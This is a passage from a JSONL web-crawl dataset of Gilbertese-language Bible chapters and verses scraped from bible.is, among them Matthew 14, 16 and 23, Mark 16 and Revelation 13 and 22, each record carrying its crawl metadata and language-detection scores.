ngkana e mwanewea aran te karea ane i aona ngkana e taetae n tuea, ao e bae iai. 19Aomata ngkami aika kam mataki! Bwa e ngaa ae e kakaawaki riki, te karea ke te baonikarea are ngaia ae e riki n tabu iai te karea? 20Ma ngaia aei, bwa ngkana e taetae n tuea te aomata ao e mwanewea aran te baonikarea, ao e taetae n tuea n te baonikarea ma karea nako akana a mena i aona. 21Ao ane e mwanewea aran te umwantabu bwa te bwai ni kakoaua ngkana e taetae n tuea, ao e taetae n tuea n te umwantabu ao iroun Teuare e maeka i nanona; 22ao ane e mwanewea arani karawa bwa te bwai ni kakoaua ngkana e taetae n tuea, ao e taetae n tuea n ana kaintokanuea te Atua, ao iroun naba Teuare e tekateka i aona. 23A na reke kaimi, taani koroboki ma Bwaritaio, aika taani mwaamwanaa-te-aba! Bwa kam angaanga teuana te katebwina ni mwakoro mani mwaitin ami bwai are te minte ma te aneto, ma te kumino, ao kam katiku taekani bwaai aika a kakannato n taekan te Tua, n ai aron te kaeti raoi taekani bwaai, ma te nanoanga, ma te kakaonimmaki nakon ana kaantaninga teAtua. 24Taani kairiiri aika kam mataki! Kam raumea te manibeti, ao kam oonga te kaamero. 25A na reke kaimi, taani koroboki ma Bwaritaio, aika taani mwaamwanaa-te-aba! Bwa kam kaitiaka akuun te mwangko ma te raurau, ma a on nanoia n amwarake ma ninima aika a reke n te aro n iowawa ma ni kani bwaibwai. 26Te Bwaritaio ae ko mataki, kaitiaka moa nanon te mwangko, ao ane e na itiaki naba tinanikuna. 27A na reke kaimi, taani koroboki ma Bwaritaio, aika taani mwaamwanaa-te-aba! Bwa ai aron ruua ni mate aika a kamainainaaki ngkami; a taraa n tamaaroa mai tinanikuia, ma a on nanoia n riia maate ma baika a mka n aekaia nako. 28Ao ai aromi naba, bwa kam taraa n raoiroi nakoia aomata mai tinanikumi, ma a on nanomi n te mwaamwanaa-te-aba ma te buaakaka. 29A na reke kaimi, taani koroboki ma Bwaritaio, aika taani mwaamwanaa-te-aba! Bwa kam karaoi ruani mateia buraabeti, ao kam katamaaroai aon ruani mateia aomata ake a raoiroi; 30ao kam kaangai, Ngke tao ti maiu n aia bong ara bakatibu, ao ti na bon aki raoniia ni kamateia buraabeti. 31Ma ngaia ae kam boni kaotioti i bukimi bwa kam riki mai irouia ake a kamateia buraabeti. 32Kam na waaki ni katiaa te baere a a tia ni moana karaoana ami bakatibu. 33Ngkami aika naeta, aika buniia naeta aika a kamaamate, kam na kangaa ni kamaiungkami mani motikan taekami are kam na karawaawataaki iai i Keenna? 34Ma ngaia ae N na kanakoia buraabeti, ma aomata aika a rabakau, ma taani koroboki nakoimi: ao ane kam na kamateia temwaangina, ao kam na tauriia temwaangina ni kaibangaki; ao ane kam na kataereia temwaangina i nanoni mwaneabami, ao kam na kakioia nako man te kaawa teuana nakon te kaawa teuana. 35Anne bukin ae kam na bukinaki iai ibukini mateia aomata ake a raoiroi i aon te aba, mai iroun Abera ni karokoa natini Barakia are Takaria, are e tiringaki iroumi i marenan te umwantabu ma te baonikarea. 36E koaua ae I a tuangkami bwa a na bane n roko baikai i aon te roro aei. 37Ierutarem, Ierutarem, ae ko kamaamateia buraabeti, ae ko karebanaia ake a kanakomaiakaki nakoim, ai bati ra au kani bobootiia am aomata, n ai aron te moaaine ngkana e bootiia bunna i aani baina, ma kam rawa! 38Noria, e nang kiitanaki ami umwantabu, ao a nang akea kaaina. 39Bwa I taku nakoimi bwa kam na aki manga noorai ni karokoa kam kaangai, E na karaoiroaki Teuare e nako mai n aran te Uea!\nMATAIO 23","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/23","date":"2014-03-14T17:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678694248\/warc\/CC-MAIN-20140313024454-00001-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1074,"character_repetition_ratio":0.082,"word_repetition_ratio":0.048,"special_characters_ratio":0.225,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"34Ma kam na kaawakiningkami bwa a na aki kamamaaraaki nanomi n taekan ti te kan amwaamwarake ma te mamanging ma iango n raraoma ibukini bwain te maiu aei, bwa e kaawa ni karina rokon te bong arei n te tai are kam aki kaantaningaia iai ni kamwaneingkami,\nRUKA 21:34\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/34","date":"2014-03-13T19:53:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678680766\/warc\/CC-MAIN-20140313024440-00028-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I noora te man ae e tiritiri bwa e aerake mai tari: tengauni korona, ao itiua atuna, ao tebwina te baunuea i aoni korona, ao iai te ara ae te taeka ni bakanatua i atuuna nako. 2Ao te man are I nooria ai aron te rebwari, ao waena ai aroni waen te bea, ao wiina ai aroni wiin te raian. Ao e anga mwaakana te raakon nakoina, ao e anganna naba ana kaintokanuea ma mwaakana n tau-taeka ae e korakora. 3Iai atuun te man arei teuana ae e a tia n ikoaki n te ikoaki ae e taraa n rangi ni kaakaiaki, ma e a tia ni mao. Ao a bane kaain te aonnaba n iriira te man arei ni miimiiakinna. 4Ao a bane n taromauriia te raakon ibukina ngke e anga te mwaaka n tau-taekanakon te man are e tiritiri; ao a taromauriia naba te man are e tiritiri, ao a kaangai, Ai antai ae ai aron te man ae e tiritiri aei? Ao antai ae e konaa te buakanna? 5Ao e anganaki te man arei te konaa n atongi taeka ni kainikatonga ma taeka ni bakanatua; ao e anganaki te mwaaka ni karaoa ae e kani karaoia abwi ma uoua te namwakaina. 6Ao e moana taetaebuakaan te Atua, n taetaebuakaa arana ma ana umwanrianna, ma ake a maeka i karawa. 7Ao e anganaki naba te konaa ni buakaniia ake a itiaki, ma te katae aia kai; ao e anganaki te mwaaka n tauu taekaia baronga nako ma natanaomata ma bootanaomata ma aomata nako aika a kakaokoro aia taetae. 8Ao ane a na taromauriia te man arei aomata nako i aonnaba, ake a aki koreaki araia ni bokin te maiu ma ngke a moani karikaki aonnaba; ao te boki arei bon ana boki te Tiibuteteei are e kamateaki. 9Ke e ongo, ane iai taningana! 10Ngkana iai ane e katauaki bwa te taenikai, ao ke e nako bwa te taenikai; ao ngkana iai ane e kamatea te aomata n te kabaang, ao e na kamateaki naba n te kabaang. Nanona ngkanne, bwa ake a itiaki a riai n teimatoa n aia onimaki. 11Ao I noora te man temanna bwa e rierake mai aantano: iai korona aika uaai aika ai aroni koron te tiibuteteei; ao e taetae n ai aron te raakon. 12E kamanenaa ni kabane mwaakan te moani man are e tiritiri ni mwamwakuri iai i matana. Ao e anai nanoia aomata ni kabaneia i aonnaba bwa a na taromauriia te man are e moani kaoti, are iai ikoakina are e kaakaiaki are a tia ni mao. 13Ao te man are e kaoti mai aantano e karaoi kanikina aika a abwaabwaki, bwa e kabwakaa te ai mai karawa nako aon te aba i mataia aomata. 14Ao e mwaamwanaa iia ake a maeka i aon te aba ni kanikina ake e anganaki bwa e na karaoi i matan te man are e moani kaoti; ao e tuangiia ake a maeka i aon te aba bwa a na karaoa te bouananti ae e na katootoonga aron tein rabwatan te man are e aki mate ngke e ikoaki n te kabaang. 15Ao e anganaki te kariaia bwa e na karina te ikeike-ni-maiu i nanon te bouananti are e na katootoonga tein rabwatan te man are e moani kaoti, bwa e aonga ni konaa n taetae ao ni kamateia aomata ni kabaneia ake a aki taromauriia. 16Ao e karaoa ae a na bane aomata ake a mangori ma ake a kakannato, ake a kaubwai ma ake a aki kaubwai, ake a inaomata ma ake tooro, bwa a na kanikinaaeaki i aoni baiia ake ataiia ke i aon ramwaia. 17Ao akea temanna ae e konaa ni boobwai ke ni kaboobwai, bwa ti ane iai irouna te kanikina, ae aran te man arei, ke te ware are e tei ibukin arana. 18Ana bwai ae e rabakau te baei! Ane e atatai ao ke e iangoia bwa tera nanon te ware are te ware ibukin te man, ngkai te ware arei e tei ibukin aran te aomata; ao te ware arei bon Onobubua ao Onobwi ma Onoua.\nTE KAOTIOTI 13","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13","date":"2014-03-09T11:46:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999677515\/warc\/CC-MAIN-20140305060757-00033-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":683,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.48,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao te anera arei e kaota nakoiu karaangan te ran ni maiu, ae te ran ae e raneanea n ai aron te kurititaro; ao e raanga nako te ran arei man ana kaintokanuea te Atua ma te Tiibuteteei, 2n ri nuukani kawain te kaawa. Ao n iteran te karaanga ake uoua bon iai kaai ni maiu, aika a kariki uaaia teuana te tai ni katoa namwakaina i nanon teuana te ririki; ao baani kaai akekei boni bwaini kamaiuaia bootanaomata. 3Ao akea ae e reke kaina ae e na manga nooraki n te kaawa arei; ao e na mena iai ana kaintokanuea te Atua ma te Tiibuteteei, ao ana toro te Atua a na taromauriia. 4A na noora matana, ao E na koreaki arana i aon ramwaia. 5E na akea te bong; ao a aki kainnanoa ootan te taura ma taai, bwa E na riki te Atua bwa te oota i aoia; ao a na uea n aki tootoki. 6Ao e taku te anera nakoiu, A konaa n onimakinaki taeka aikai bwa a koaua. Ao te Uea, ae Atuan taamneiia buraabeti E kanakoa ana anera bwa e na kaoti nakoia ana toro baika a na waetata n roko. 7Ao nooria, ae N na waetata n roko E a kabwaia ane e taua te taeka ni buraabeti ae n te boki aei. 8Boni ngai, ae Ioane, ae I ongo ma n noori baikai. Ao ngke I ongo ma n noori, ao I katorobubua ni bobaraaki i rarikini waen te anera are e kaoti baikai nakoiu. 9AAo e taku nakoiu, Tarataraikobwa ko na aki taromauriai; bon raom n toro ngai, ao raoia n toro tarim ake buraabeti, ma ake a ongeaaba nakon taeka aika n te boki aei. Ko na taromauriia te Atua. 10Ao e taku nakoiu, Ko na tai kanikinaaei n ae a na aki kaakaotaki taeka ni buraabeti n te niira ni boki aei, bwa e a kaan te tai; 11Ane e buaakaka, ao ke e teimatoa ni kaakaraoa ae e buaakaka; ao ane e kamwaraa, ao ke e kateimatoaa arona ni kamwaraa. Ane e bwaabwaina te eti, ao ke e kaakaraoa ae e eti; ao ane e itiaki man te bure, ao ke e kaawakinna mani karaoan ae e buaakaka. 12Noria, ae N na waetata n roko ma uotau te bae N na anga nakoia aomata ni kabaneia ni kaeti ma aron aia mwakuri nako. 13Boni Ngai te Moa ao te Toki; boni moani bwaai Ngai ao tokiia naba Ngai. 14A a kabwaia akana teboki aia kunnikai aika a mwarairai, bwa e na reke nakoiate konaa n roko n te kai ni maiu, ao te konaa n rin nako i nanoni mataroan te kaawa, bwa a aonga n rin n te kaawa. 15Taani mena i tinanikun te nono bon te koraki aika a baba n tangira te kammaira ma te wene ni bure; ao raoia bon taan tabunea, ma taani kamateia aomata, ma taan taromauri bouananti, ma akana taatangira taekinan te kewe ma karaoana naba. 16Ngai ae Iesu, ae I kanakoa au anera bwa e na kaoti baikai nakoimi i nanon ekaretia nako. Boni kanoan Tawita Ngai, ao te Itoi ni Ngaina ae e oota mwaaka Ngai. 17Ao E kaangai te Taamnei, ma te aine are a tibwa mareaki, Mai. Ao ane e ongo e na kaangai naba, Mai. Ao ke e nako mai ane e kani mooi; ao ke e anaa te ran ni maiu ane e kan anaia, n aki kabooa. 18I taetae ma te koaua nakoia aomata nako akana ongo taeka ni buraabeti n te niira ni boki aei, bwa ngkana e raon taeka aikai te aomata n ana taeka tabeua, ao te Atua E na raona naba kaina ake bwaai ni kamaamate aika a koreaki taekaia n te niira ni boki aei; 19ao ngkana iai te bae e kamauna te aomata man taeka ni buraabeti n te niira ni boki aei, ao te Atua E na anaa mai irouna tibwangana n te kai ni maiu ao man te kaawa are e tabu, ake a koreaki taekaia n te niira ni boki aei. 20E kaangai Teuare e kaoti baikai, Eng, ae N na roko ni waetata, Amene. Nako mai, te Uea ae Iesu. 21E na mena ana aakoi te Uea are Iesu irouia ake a itiaki ni kabaneia.\nTE KAOTIOTI 22","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/22","date":"2014-03-14T01:09:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678683421\/warc\/CC-MAIN-20140313024443-00063-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":713,"character_repetition_ratio":0.062,"word_repetition_ratio":0.003,"special_characters_ratio":0.242,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a toki te taabati, ao a kabooi baika a boiarara Nei Maria are te I-Mwaketara ma Tarome ma Nei Maria are tinan Iakobo, bwa a na nako ni kabira rabwatan Iesu. 2Ngke e moantaai n te ingabong ni moani bongin te wiiki, ao a roko n te nne ni mate ngke e a tia n oti taai. 3A i titiraki irouia ni kaangai, Ai antai ae e na karabinoa nako te atiibu mai matan te nne ni mate i bukira? 4Ao ngke a taraia, ao a nooria bwa e a kaman tia ni karabinoaki nako te atiibu; bwa e rangi ni buubura te atiibu arei. 5Ngke a rin n te nne ni mate, ao a noora te teinimwaane temanna ae e tekateka n te angaatai, ao e bwainna n te kunnikai ae e mainaina ae e mwarairai; ao a miimii. 6Ao e taku nakoia, Kam na aki miimii; I ataia bwa kam ukoukora Iesu are te I-Natareta, are E kamateaki n te kaibangaki. E a manga maiu, akea ikai; noora te tabo are a kawenea iai rabwatana. 7Ma kam na nako, ao tuangiia ana reirei ma Betero naba bwa ae E ri moami nako Kariraia; ane kam na nooria ikekei, n aron are E a tia n tuangkami. 8A oti nako man te nne ni mate ao a biri nako, bwa a ruru ao a miimii; ao akea te bwai teuana ae a kaotia nakon temanna bwa a taonaki n te maaku. [ 9Ngke E a manga maiu Iesu mai buakoia maate ni moani bongin te wiiki, ao E kaoti moa nakoni Nei Maria are te I-Mwaketara, are E a tia ni kaotinakoia mai irouna taimonio ake itiman. 10I mwiini baikekei, ao Iesu E kanakoa irouia ana reirei rongorongon te kamaiuaki are e teimatoa n aki toki, are e tabu are e aki maamate, bwa a na uota taekana nakon taabo nako i aonnaba. 11Ma ngke a ongo bwa E a manga maiu ao e a tia n nooraki iroun neiei, ao a aki kakoauaa. 12Rimwi riki, ao E kaoti n te aro ae e kaokoro iai taraana nakoia raoia ake uoman, ngke a tabe n nakonako n te tabo ae e aki maekanaki. 13A oki uaakekei, ao a tuangiia reirei ake raoia, ma a aki kakoauai. 14I mwiina ao E kaoti nakoia reirei ake tengauni ma temanna ngke a amwarake; ao E takuia ibukin aia aki onimaki ao matoatoan nanoia i mwiin tuangakiia irouia te koraki ake a tia n nooria i mwiin te tai are E a manga maiu iai. 15Ao E taku nakoia, Kam na nako n taabo nako ao tataekina te euangkerio nakoia kaain aonnaba ni kabaneia. 16Ane e onimaki ao e bwaabetitooaki, ao e na kamaiuaki; ma ane e aki onimaki ao e na kabuaakakaaki. 17Ao akana onimaki, a konaa n nooraki irouia kanikina aikai: n Arau ao a na kanakoia taimonio; ao a na taetae n taetae nako. 18Ane a na tabekiia naeta; ao ngkana a mooi n te bwai ae e kamaamate ao a na aki rootaki iai; a na kaaki baiia i aoia aoraki ao ane e na reke irouia te marurung. 19Ngke E tia te Uea are Iesu n taetae nakoia, ao E uotaki rake nako karawa, ao E tekateka i angaatain te Atua. 20Ao a nako uaakekei ni kabwarabwara n taabo nako, ao E buokiia te Uea, ao E karaoi kanikina ake a na kakoauaaki iai bwa e boni koaua te rongorongo are a taekinna.] A nako aine nakoni Betero ma uaake raona, ao a tuangiia taekani bwaai ni kabane ake a a ti a n tuangaki.\nMAREKO 16","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/16","date":"2014-03-13T22:45:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678683052\/warc\/CC-MAIN-20140313024443-00012-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":599,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:55ao te kaantaninga e aki kamaamaea te aba, ibukina bwa e a tia ana tangira te Atua n nurakinaki nako nanora iroun te Taamnei are e Raoiroi, are ti a tia n anganaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/5","date":"2014-03-09T11:40:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999677515\/warc\/CC-MAIN-20140305060757-00073-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999837875,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999837875366211}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ao e ongo rongorongon Iesu Erote are te tia tau-taeka, 2ao e taku nakoia ana toro, Bon Ioane Teuarei, are te tia bwaabetiito: e a manga maiu mai buakoia maate, ma ngaia ae e a reke irouna te mwaaka ni karaoi mwakuri aika a kamiimii. 3Bwa e a tia n anga ana taeka Erote bwa e na tauaki Ioane bwa te bure, ao e tua bwa e na kabaeaki ao e na kaakiaki i nanon te karabuuti. E karaoa aei Erote ibukin Eroria bwa e a tia n iein ma ngaia, ao neiei boni buun tarina are Biribo. 4Bwa e a tia ni kaangai Ioane nakon Erote, E aki riai i aan te tua bwa ko na buuna Eroria. 5Iai nanon Erote ni kani kamatea Ioane, ma e maakuia aomata. 6Ma n te tai are e kauringaaki iai ana bongi ni bung Erote, ao e bwabwaatere natin Eroria te aine i mataia kaain te bootaki. E kukurei Erote irouna; 7ma ngaia are e kabwakaa ana taeka ni bau nakoina, ao e tuea bwa e na angan neierei te baere e tangiria mai irouna. 8E a kaman tuangaki neierei iroun tinana, ma ngaia are e taku, Anganai atuun Ioane are te tia bwaabetiito ikai i aon te raurau. 9E rawaawata nanon te uea; ma e tua bwa e na anganaki ibukin ana taeka ni bau are e a tia n atongnga i mataia ana iruwa; 10ao e kanakoa ana aomata temanna bwa e na korea roroan Ioane n te karabuuti. 11E uotaki atuuna i aon te raurau, ao e anganaki te teinaine arei, ao ngaia e uotia nakon tinana. 12Ao a roko ana reirei n anaa rabwatana, ao a taunna; ao a nako n tuanga Iesu. 13Ngke E ongo taekan Ioane Iesu, ao E kiitana ikekei n te booti, ao E nako n te tabo ae akea kaaina ni kaokoroa iai. Ma ngke a ongo taekana aomata, ao a kiitan aia kaawa n ri mwiina n nakonako ri etan te nama. 14Ngke E aerake man te booti, ao e nooriia aomata aika a rangi ni mwaiti; ao E nanoangaiia, ao E kamaiuiia aia aoraki. 15Ngke e a kaani bong, ao a nakoina ana reirei ao a taku, E aki maekanaki te tabo aei, ao e a bwakanako te tai; kanakoia aomata nakoni kaawa bwa a na kabooi kanaia bon i bukiia. 16E taku Iesu, A riai n aki nako; anganiia ngkami kanaia. 17A taku nakoina, Ti nimaai te kariki aika iai iroura ikai, ao uoman te ika. 18Ao Ngaia E taku, Uoti mai nakoiu. 19E tuangiia ngkanne aomata bwa a na tekateka i aon uteute; ao e anai kariki ake nimaai ao iika ake uoman, ao E tara rake nako karawa, ao E kaaitaua te Atua. E urui kariki ao E angania ana reirei, ao ana reirei a angania aomata. 20Ao a bane n amwarake ao a ngae. A rikoi amwarake ana reirei ao a on iai tengauni ma uakora te bwaene. 21Mwaitiia aomata ake a amwarake tao nimaua tengaa te mwane, ao iai naba aine ma ataei. 22E kairoroia ngkanne ana reirei bwa a na toka n te booti n ri moana nakon iteran te nama, are iterana are teuana, ngkae E tabe ni kanakoia aomata. 23Ao ngke E a tia ni kanakoia aomata, ao E ararakea te maunga n ti Ngaia bwa E na tataro. Ngke e a tairiki, ao bon ti Ngaia naba ikekei; 24ma te booti n te tai aei e mena n raroa nako ma te aba, ao e reimaurua n te nao, bwa e tuutuuki te ang. 25I marenan te aoa tenua ma onoua n te kaarangaina, ao E nakoia Iesu n nakonako i aon te nama. 26Ao ngke a nooria ana reirei n nakonako i aon te nama, ao a maaku, ao a kaangai, Te anti! Ao a tang, bwa a maaku. 27Ma E waekoa Iesu n taetae nako ia, ao E taku, Kam na karau nanomi, boni Ngai; tai maaku. 28Ao e kaeka Betero ni kaangai, Te Uea, ngkana boni Ngkoe, ao Ko na tuangai bwa N na nakoim i aon te ran. 29Ao E taku Iesu, Nako mai. Ma ngaia are e ruo Betero man te booti ao e nakonako i aon te ran n nako n Iesu; 30ma ngke e noora te ang bwa e korakora karena ao e maaku, ao ngke e tabe n ii nako ao e takaarua ni kaangai, Te Uea, kamaiuai. 31E waekoa Iesu ni kanakoa baina n tauua, ao E taku nakoina, Te aomata ae e karako am onimaki! Ko aera ngkai ko nanokokoraki? 32Ao ngke a toka n te booti, ao e bwaka te ang. 33Ao aomata ake n te booti a bobaraaki ni karinea ao a kaangai, Bon te koaua bwa Natin te Atua Ngkoe. 34Ao ngke a ri nanon te nama, ao a roko n te aba i Kennetareta. 35Ao ngke E kinaaki Iesu irouia aomata ake kaain te tabo arei, ao a kanakoa aia rongorongo ni kabutaa te aba arei, ao a kabaneia ake a aoraki n uotiia nakoina. 36A butiia Iesu bwa a na ti riinga rabin ana kunnikai aoraki; ao ake a riingnga a kamaiuaki.\nMATAIO 14","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/14","date":"2014-03-15T18:12:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678699073\/warc\/CC-MAIN-20140313024459-00071-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":859,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao a roko Bwaritaio ma Tarukaio iroun Iesu bwa a na kamwanea; ao a butiia bwa E na karaoa te mwakuri teuana ae e kamiimii are e na kakoauaaki iai bwa iai onimakinana iroun te Atua. 2Ao E kaekaia ni kaangai, Ngkana e a tairiki, ao kam kaangai: E na raoi; bwa e uraura rarikini karawa. 3Ao ngkana e a tibwa moa n ingabong, ao kam kaangai: E na buaka te bong aei, bwa e uraura rarikini karawa, ao e roro. Kam konaa te ataa te bae e na riki bwa kanoan te bong mani kanikina aika kam noori i karawa, ma kam aki atai nanoni baika a riki ngkai. 4A ukoukora te kanikina te roro ae e buaakaka ae e aki ongotaeka nakon te Atua; ma akea te kanikina ae a na anganaki, bwa ti te kanikina are te baere e riki nakon Iona are te buraabeti. Ao E kiitaniia, ao E nako. 5Ao ngke a roko ana reirei n iteran te nama are teuana, ao a mwaninga n uota te amwarake. 6E taku Iesu nako ia, Kam na tarataraingkami ao kaawakiningkami man aia iiti Bwaritaio ma Tarukaio. 7Ao a iango irouia ni kaangai, E taekina aei ibukina ngkai ti aki ua amwarake. 8Ma Iesu, ngke E ataa aei, ao E taku, Ngkami aika a karako ami onimaki, kam aera ngkai kam iango iroumi ibukin akean te amwarake iroumi? 9Kam tuai n oota? Kam aki uringi kariki ake nimaai ake a kang aomata ake nimanga, ao mwaitini bwaene ake kam ikoti iai? 10Ao kariki ake itiai ake a kang aomata ake angaa, ao mwaitini bwaene ake kam ikoti iai? 11Kam aera ngkai kam aki oota n ae I aki taetae nakoimi ibukin te amwarake? Kam na kaawakiningkami man aia iiti Bwaritaio ma Tarukaio. 12A a ataia ngkanne bwa E aki tuangiia bwa a na kaawakiniia man te iiti are bwain te kariki, ma a na kaawakiniia man aia reirei Bwaritaio ma Tarukaio. 13E roko Iesu n aaba ake i rarikini Kaitareia Biribi, ao E titirakinia ana reirei ni kaangai, A taku aomata bwa antai Natin te Aomata 14Ao ngaiia a kaangai, A taku temwaangina bwa Ioane are te tia bwaabetiito; ao temwaangina, bwa Eria; ao temwaangina bwa Ieremia, ke te buraabeti riki temanna. 15E taku nako ia, Ao ngkami kam taku bwa antai Ngai? 16E kaeka Timon Betero ao e taku, Bon te Kristo Ngkoe, are Natin te Atua are E maiu. 17Ao E kaeka Iesu ni kaangai, Ko a kabwaia, Timon ae natin Iona, bwa tiaki te aomata ae e kaota aei nakoim, ma E kaotia Tamau are i karawa. 18Ao I taku nakoim, bwa Betero ngkoe, ao N na katea au ekaretia i aon te bwa aei; ao e na aki konaa n ekia nako mwaakan te mate. 19N na anganiko kiingin uean te Atua; ao ane ko tabuia i aonnaba ao e na katabuaki naba i karawa; ao ane ko kariaia i aonnaba, ao e na kariaiaki naba i karawa. 20Ao E tuangiia ana reirei bwa a na aki tuangiia aomata bwa te Kristo Ngaia. 21Man te tai arei, ao E moani kaotia Iesu nakoia ana reirei bwa e riai nakona nako Ierutarem, ao bwa E na bati kammarakana irouia unimwaane ma ibonga ake mataniwi ma taani koroboki, ao bwa E na kamateaki, ao E na manga kamaiuaki n te kateni bong. 22Ao e kaira Iesu Betero ni kaokoroa, ao e takuia bwa E na aki taetae n arona arei. Ao e taku, E na nanoangaiko te Atua: e na aki riki aei nakoim. 23Ma E rairaki ao E taku nakoni Betero, Naako akuu Tatan! Ko riki bwa te bwai ni kabwakabwaka nakoiu; bwa e reke iroum aron nanon te aomata ma tiaki aron nanon te Atua. 24E taku ngkanne Iesu nakoia ana reirei, Ngkana iai ane e kan ri mwiiu, ao e na kaakeaa i bon irouna, e na uota ana kaibangaki, ao e na iriirai. 25Bwa ane e kani kaawakina maiuna ao e na kabua; ao ane e na kabuaa maiuna i bukiu ao ibukin te euangkerio, e na boni karekea. 26Bwa tera te raka ae e na karekea te aomata ngkana e bwaina te aonnaba ae e bwanin ao e kabuaa maiuna mai irouna? Ao tera ae e na anga te aomata bwa e na kaoka maiuna iai? 27Bwa ane E na nakomai Natin te aomata ma ana anera i nanoni mimitongin Tamana; ao ane E na angania aomata ni kabaneia booni mwiin aia mwakuri. 28E koaua ae I a tuangkami bwa a na aki mate tabemwaang i buakoia aika a tei ikai, ngkana a tuai n noora Natin te Aomata ngkana E nako mai ma ueana.\nMATAIO 16","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/16","date":"2014-03-07T09:56:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999640676\/warc\/CC-MAIN-20140305060720-00073-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":775,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:2626Ane a na bwaka ni kiro aomata ibukin te maaku ma kaantaningaan te bwai ae e na roko i aonnaba; bwa ane a na kamwaeaki bwaini karawa mani nneia are a taneiai iai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/26","date":"2014-03-09T20:21:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010303377\/warc\/CC-MAIN-20140305090503-00099-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999885559082031}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao rimwi E nako Iesu ni kawari kaawa ma maeka, ni kabwarabwara, ao n uota te rongorongo ae e raoiroi are 